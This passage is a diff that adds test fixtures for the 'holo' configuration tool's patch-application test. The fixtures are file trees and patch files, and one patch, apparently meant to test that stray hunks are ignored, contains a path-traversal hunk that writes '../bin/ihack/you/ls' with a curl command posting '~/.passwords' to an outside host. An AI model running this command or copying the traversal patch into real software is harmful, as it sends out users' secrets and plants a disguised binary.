0755 ./run/ +---------------------------------------- +directory 0755 ./tmp/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink-to-plain.patch +diff --git a/symlink-to-plain b/symlink-to-plain +deleted file mode 120000 +index d2eecfe..0000000 +--- a/symlink-to-plain ++++ /dev/null +@@ -1 +0,0 @@ +-txtfile +\ No newline at end of file +diff --git a/symlink-to-plain b/symlink-to-plain +new file mode 100644 +index 0000000..dacb3b9 +--- /dev/null ++++ b/symlink-to-plain +@@ -0,0 +1,4 @@ ++foo ++foo ++foo ++bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink.patch +diff --git a/symlink b/symlink +index 1a010b1..30d67d4 120000 +--- a/symlink ++++ b/symlink +@@ -1 +1 @@ +-txtfile +\ No newline at end of file ++txtfile-with-fuzz +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +deleted file mode 100644 +index efbe4b6..0000000 +--- a/txtfile-to-symlink ++++ /dev/null +@@ -1,6 +0,0 @@ +-foo +-foo +-foo +-baz +-bar +-bar +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +new file mode 120000 +index 0000000..d2eecfe +--- /dev/null ++++ b/txtfile-to-symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch +diff --git a/txtfile-with-fuzz b/txtfile-with-fuzz +index efbe4b6..dacb3b9 100644 +--- a/txtfile-with-fuzz ++++ b/txtfile-with-fuzz +@@ -1,6 +1,4 @@ + fuzz + foo + foo +-baz +-bar + bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch +diff --git some/funny/nested/subdir/txtfile-with-garbage a/different/directory/txtfile-with-garbage +index efbe4b6..dacb3b9 100644 +--- some/funny/nested/subdir/txtfile-with-garbage ++++ a/different/directory/txtfile-with-garbage +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +diff --git a/garbage b/garbage +new file mode 100644 +index 0000000..07360e3 +--- /dev/null ++++ b/garbage +@@ -0,0 +1 @@ ++zap +diff --git ../bin/ihack/you/ls ../bin/ihack/you/ls +new file mode 100644 +index 0000000..07360e3 +--- ../bin/ihack/you/ls ++++ ../bin/ihack/you/ls +@@ -0,0 +1 @@ ++curl --post ~/.passwords https://4chan.org/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile.patch +diff --git a/txtfile b/txtfile +old mode 100644 +new mode 100755 +index efbe4b6..dacb3b9 +--- a/txtfile ++++ b/txtfile +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/base/etc/symlink +txtfile +---------------------------------------- +symlink 0777 ./var/lib/holo/files/base/etc/symlink-to-plain +txtfile +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-to-symlink +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-with-fuzz +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-with-garbage +foo +foo +foo +baz +bar +bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/provisioned/etc/symlink +txtfile-with-fuzz +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/symlink-to-plain +foo +foo +foo +bar +---------------------------------------- +file 0755 ./var/lib/holo/files/provisioned/etc/txtfile +foo +foo +foo +bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/provisioned/etc/txtfile-to-symlink +txtfile +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/txtfile-with-fuzz +foo +foo +foo +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/txtfile-with-garbage +foo +foo +foo +bar +---------------------------------------- diff --git a/test/files/17-patches/source-tree b/test/files/17-patches/source-tree new file mode 100644 index 0000000..9b5fc28 --- /dev/null +++ b/test/files/17-patches/source-tree @@ -0,0 +1,152 @@ +symlink 0777 ./etc/holorc +../../../holorc +---------------------------------------- +file 0644 ./etc/os-release +ID=unittest +---------------------------------------- +symlink 0777 ./etc/symlink +txtfile +---------------------------------------- +symlink 0777 ./etc/symlink-to-plain +txtfile +---------------------------------------- +file 0644 ./etc/txtfile +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-to-symlink +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-fuzz +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-garbage +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink-to-plain.patch +diff --git a/symlink-to-plain b/symlink-to-plain +deleted file mode 120000 +index d2eecfe..0000000 +--- a/symlink-to-plain ++++ /dev/null +@@ -1 +0,0 @@ +-txtfile +\ No newline at end of file +diff --git a/symlink-to-plain b/symlink-to-plain +new file mode 100644 +index 0000000..dacb3b9 +--- /dev/null ++++ b/symlink-to-plain +@@ -0,0 +1,4 @@ ++foo ++foo ++foo ++bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink.patch +diff --git a/symlink b/symlink +index 1a010b1..30d67d4 120000 +--- a/symlink ++++ b/symlink +@@ -1 +1 @@ +-txtfile +\ No newline at end of file ++txtfile-with-fuzz +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +deleted file mode 100644 +index efbe4b6..0000000 +--- a/txtfile-to-symlink ++++ /dev/null +@@ -1,6 +0,0 @@ +-foo +-foo +-foo +-baz +-bar +-bar +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +new file mode 120000 +index 0000000..d2eecfe +--- /dev/null ++++ b/txtfile-to-symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch +diff --git a/txtfile-with-fuzz b/txtfile-with-fuzz +index efbe4b6..dacb3b9 100644 +--- a/txtfile-with-fuzz ++++ b/txtfile-with-fuzz +@@ -1,6 +1,4 @@ + fuzz + foo + foo +-baz +-bar + bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch +diff --git some/funny/nested/subdir/txtfile-with-garbage a/different/directory/txtfile-with-garbage +index efbe4b6..dacb3b9 100644 +--- some/funny/nested/subdir/txtfile-with-garbage ++++ a/different/directory/txtfile-with-garbage +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +diff --git a/garbage b/garbage +new file mode 100644 +index 0000000..07360e3 +--- /dev/null ++++ b/garbage +@@ -0,0 +1 @@ ++zap +diff --git ../bin/ihack/you/ls ../bin/ihack/you/ls +new file mode 100644 +index 0000000..07360e3 +--- ../bin/ihack/you/ls ++++ ../bin/ihack/you/ls +@@ -0,0 +1 @@ ++curl --post ~/.passwords https://4chan.org/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile.patch +diff --git a/txtfile b/txtfile +old mode 100644 +new mode 100755 +index efbe4b6..dacb3b9 +--- a/txtfile ++++ b/txtfile +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +----------------------------------------